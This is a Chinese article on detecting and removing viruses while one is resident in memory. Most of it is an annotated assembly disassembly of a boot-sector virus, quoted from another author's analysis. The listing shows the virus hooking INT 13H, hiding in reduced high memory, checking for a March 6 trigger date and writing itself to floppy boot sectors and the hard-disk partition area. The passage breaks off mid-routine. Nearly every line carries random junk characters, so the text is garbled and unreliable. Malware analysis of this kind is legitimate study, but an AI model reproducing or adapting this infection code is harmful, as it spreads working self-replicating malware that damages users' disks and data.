近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 `!i-#~n
?? 3sbK7,4
?? 一 、 带毒环境下检测清除病毒的意义 {G*OR,HN
?? h1f8ktF
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 !` 26\@1
?? y@;%Uv&
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 O('Nn]wo~9
??
10O$'`
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 p3yU:q#A
?? 9$RIH\*
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 $iPP|Rw
?? !h: Q
?? 二 、带毒环境下检测清除病毒的原理 eW50s`bKY
?? <n^3uXzD
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 .~mCXz<x
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 *7RvHHf
CT*,<l-D
h}&b+1{X
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " ]tY:,Mfs
病毒体: Cv^`&\[SW+
JMP 01AF ;JMP到01AF 6ep>hS4A&
DB 00 ;病毒标计 Fm3t'^SqF
DW 00F5 ;此为搬到高位址后,远程跳转指令 !9 f4R/ ?
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX c-8!#~M(
DB 02 z<&m*0WYA
DW 0003 ;此为软盘识别标记,硬盘为0007 Lh ap4:
DW EC59 ; /!T> b:0
DW F000 ;INT 13H的原入口 R#eg^7HfX
. F,T~\gO5,
. -^SA8y
. |/T43ADW
. ?KP}#>Ba@
.
>|*yh~
XOR AX,AX ;清除AX Y7SacRO
MOV DS,AX; ;让DS=0000 CdZ BG
CLI ;清I标志积存器 n7l%gA*
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 >]?H`>4(
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 |W7rr1]~S
MOV SP,AX ;开机时为0000:7CB6 _0(7GE13p
STI ;设I标志积存器
4["&O=:d
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A -JV~[-,
PUSH AX ;用RETF,把程序转到引导或分区表位置 p]ivf
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 GEe`ZhG,
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 J/ W{/E>;
MOV AX,[004E] ;取INT 13H的段地址 RU&_j*U
MOV [7C0C],AX ;存到010C _Qd,VE
8u
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 FxRXPt
FK
;读写以便传播发作 r;gP}H ?
y%cO#P@
MOV AX,[0413] ;取得内存K数,放在AX -F1-
e+=
DEC AX ; Zyye%Ly
DEC AX ;减2k内存 e@n!x}t8
MOV [0413],AX ;存回,通常是638K shgAhx
MOV CL,06 ; ^gYD*K!*
SHL AX,CL ; CxF-Z7 '
MOV ES,AX ;算出减2K后病毒本体的位址 ~cqryr9
MOV [7C05],AX ;AX存入0105 P Sx304
g/Wh,f3
;病毒常用手法将系统高段内存减少以便驻留 i::\Z$L";i
;这样可以免于被其他程序覆盖 n&Yk<
]Pc^#=(R0
MOV AX,000E ;病毒拦INT 13H io%')0p5q
;ISR起始的偏移量 ziEz.Wn"
MOV [004C],AX ; kXc25y'blP
MOV [004E],ES ;设原为病毒的INT 13H Q0cRH"!:
MOV CX,01BE ;病毒长度为1BE lE5v-z? &|
MOV SI,7C00 ;从JMP 01AF开始 ycr"Y|
XOR DI,DI ;DI=0 Wa'sZ#
CLD ;清方向标志 Q-eCHr)
REPZ; ~<9{#uM
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 ~?Omy8#
CS: ;分区表能载入0000:7C00正常运作 +R.N%_
JMP FAR [7C03] ;跳到为搬过后的位址 Lm%GR[tyQ
XOR AX,AX ;清AX ofdZ1F
MOV ES,AX ;ES=0000 3,eIB(
INT 13 ;复位磁盘 [L~@uAMw:
PUSH CS ; pa<qZZ
POP DS ;让DS=CS NAr1[{^E,
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 d&(_|xq#
MOV BX,7C00 ;读到0000:7C00 n$)_9:Z-j
MOV CX,[0008] ;硬盘第0道,第7扇区 Pz"`MB<'Ik
CMP CX,+07 ;比较是否从硬盘启动 HOi C
JNZ 0213 ;不是跳0213 \\4Eh2
Y
MOV DX,0080 ;第一硬盘C:第零面 A74920X`W
INT 13 ;用INT 13号中断,读 ,|T7hTn=
JMP 023E ;跳023E比较日期,发作或正常开机 BavO\{J#|0
MOV CX,[0008] ;软盘0道,第3扇区 Sp SnoVI
MOV DX,0100 ;A:的第0面 b=[?b+
INT 13 ;INT 13读盘 0$vj!-Mb^j
JB 023E ;失败跳023E E~hzh /,34
PUSH CS slW3qRT\k
POPES ;让ES=CS Mi7y&~,
MOV AX,0201 ; (ywo
a
MOV BX,0200 ; #-#NqX:
MOV CX,0001 ; Qx`~g,wk8
MOV DX,0080 ; !|G(Yg7C
INT 13 ;读入C:的分区表到0200,以便下面比较 Iy7pt~DJ,
JB 023E ;失败跳023E k(s;,B\
XOR SI,SI ;清SI O8u3y
CLD ;清方向标志以便比较 ~H6;I$e[
LODSW ;载入一个WORD到AX \h{r;#g
CMP AX,[BX] ;比较有无病毒存在..E9AC G*}F5.>8(
JNZ 0287 ;没有则跳0287传染 saZ>?Owz
LODSW ;载入一个WORD到AX >_ \<E!j
CMP AX,[BX+02] ;再次确认..0000 LMl~yqM
JNZ 0287 ;没有跳0287 =y]$0nh
XOR CX,CX ;清CX &%C4Ugo
MOV AH,04 ; (9RslvKL
INT 1A ;取得日期 ?Dsm~bkX[
CMP DX,0306 ;是否为三月六日 n(;:*<Rh
JZ 024B ;是跳024B传染 mY&ud>,U:
RETF ;把程序交还给引导启动完成 -uR72f
jUMf6^^
步骤4:病毒INT 13代码分析 xFFr
方法:U mZvG|P$}
PUSH DS ;首先把要用到积存器 b"j|Bb
PUSH AX ;入栈保存 #=,(JmQPt
OR DL,DL ;比较是否为软盘 GG6%bF
JNZ 002F ;如不是则退出传染 edC4BHE
XOR AX,AX ;AX=0 kODK@w V-
MOV DS,AX ;数据代段=0 n \G Ry'
TEST BYTE PTR [043F],01 ;比较是否为A盘 $1Nd_pD=
JNZ 002F ;不是则退出 &jQ?v@|1c
POP AX ;将以上保存积存器 h
y-cG%f
POP DS ;弹栈恢复 &xSa7FY
PUSHF ;压栈标志积存器 pBJAaCGm
CS: ;以便执行原INT 13 tiaR4PB
CALL FAR [000A] ;执行原INT 13 L/r@ S'
PUSHF ;再次压栈 IMLsQit*
CALL 0036 ;以便跳转到传染程序 `$RA< 3
POPF ;跳转到执行传染 rAqxTdF
RETF 0002 ;结束中断调用返回 {I1~-8
POP AX ;恢复 G*8GGWB^a
POP DS ;堆栈 X" R<J#4
CS: ;跳转到原正常INT 13 mxG ]kqi
JMP FAR [000A] ;地址执行 9@VO+E$7L
3.R#&Zxt
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 _D!g4"
x5si70BKC/
步骤5:传染过程分析 d]v+mVAyE
方法:U /Wj,1WX~
对软盘传染过程: m6n!rRQ^U
PUSH AX ;工 K\.5h4k
PUSH BX ;作 ?pGkk=,KB
PUSH CX ;寄 3`V1XE.;
PUSH DX ;存 O/Y)&VG7
PUSH DS ;器 (M-ZQ
-
PUSH ES ;入 H#d:kil Ny
PUSH SI ;栈 %}Q&1P=
PUSH DI ;保存 }=}>9DSM
PUSH CS ;以压/弹栈方式 b\55,La
POP DS ;使数据段DS和 Jobiq]|>
PUSH CS ;附加段ES均指向 U]4pA#*{|
POP ES ;代码段CS
yfNX7
MOV SI,0004 ;试4次 l:(Rb-Wy
MOV AX,0201 ;设置各 iZ,YxN<R
MOV BX,0200 ;积存器 6tjcAsV
MOV CX,0001 ;为读软盘 :osz
XOR DX,DX ;引导扇区做准备 !dcwq;Ea
PUSHF ;压栈标志积存器 83ipf"]*
CALL FAR [000A] ;正常的INT 13调用 '` CspY
JNB 0063 ;成功则转判断 90N`CXas
XOR AX,AX ;不成功复位 mj,fp2D;%
PUSHF ;磁盘继续读 WOytxE
CALL FAR [000A] ;如果4次 3K0tC=
DEC SI ;均匀不成功 `iShJz96
JNZ 0045 ;则退出跳转 JC;^--0(z
JMP 00A6 ;退出传染 H: {7X1bV
XOR SI,SI ;SI=0以便用 Xh+ia#K
CLD ;LODSW读入软盘 hZ\+FOx;
LODSW ;第1或第2字进行比较 8nNsrat
CMP AX,[BX] ;比较如果不包含病毒标志 QL7>;t;
JNZ 0071 ;则跳转写传染 Hgc=M
LODSW ;如果已有标志 Oxx^[ju~
CMP AX,[BX+02] ;则退出 ,w)p"[^b
JZ 00A6 ;传染子程序 ,d,\-x-+/
MOV AX,0301 ;为写盘准备 f^Bc
MOV DH,01 ;如果是360K dfj\RIV8
MOV CL,03 ;则写到1面0道3扇区 MQ/
A]EeL
CMP BYTE PTR [BX+15],FD ;比较软盘 76fIC
JZ 0080 ;如果大于360K rw%l*xgX
MOV CL,0E ;写到1面0道14扇区 n]!fO
6kj
MOV [0008],CX ;写病毒标志到软盘 $6>?;
PUSHF ;调用原INT 13 `m~syKz4A
CALL FAR [000A] ;进行传染 CZ{k@z`r
JB 00A6 ?:rx1}:F
MOV SI,03BE ;以下是将正常 /'DwfX
MOV DI,01BE ;引导扇区从 lT8\}hNI+
MOV CX,0021 ;1BE起的21字节内容 _sHK*&W{CT
CLD ;搬移到病毒程序尾部 pb;")Q'
REPZ ;开始复制 ;DRTQn`m
MOVSW ?[)S7\rP
MOV AX,0301 ;写盘功能调用,写一个扇区 ffDc6*.Q
XOR BX,BX ;将病毒程序 ':
F}3At
MOV CX,0001 ;写入软盘引导扇区内 f`<FT'A
XOR DX,DX ;设置为软盘 l0]d
PUSHF -C7 FuD[Xw
CALL FAR [000A] ;执行正常INT 13调用写盘 S9sR#
POP DI ;将 J QKdW
POP SI ;工 %Q|eiXD
POP ES ;作 eOlKbJU
POP DS ;寄 F
8yF
POP DX ;存 !%L,*'
POP CX ;器 E;\M1(\u
POP BX ;退 ilLBCS}
POP AX ;栈 2h~-
RET ;返回调用处 [G|mY6F^
对硬盘传染过程: &M&{yc*%
MOV CX,0007 ;第7扇区 =Ov7C[(
MOV [0008],CX ;此处为硬盘引导标记 `|e!Kq?#Q
MOV AX,301 ;写功能调用 VAQ)Hc]
MOV DX,0080 ;设置为硬盘 0Dv JZ|e
INT 13 ;将正常引导扇区写到0面0道7扇区内 ~XM[>M\qB
JB 13E ;失败则转 mS=r(3#
MOV SI,03BE ;原分区表地址 _cqy`p@"
MOV DI,01BE ;目标地址 }6zbT-i
MOV CX,0021 ;整个分区表 \|=mD}N
REPNZ q%3<Juq~$
MOVSW ;开始复制 GRYe<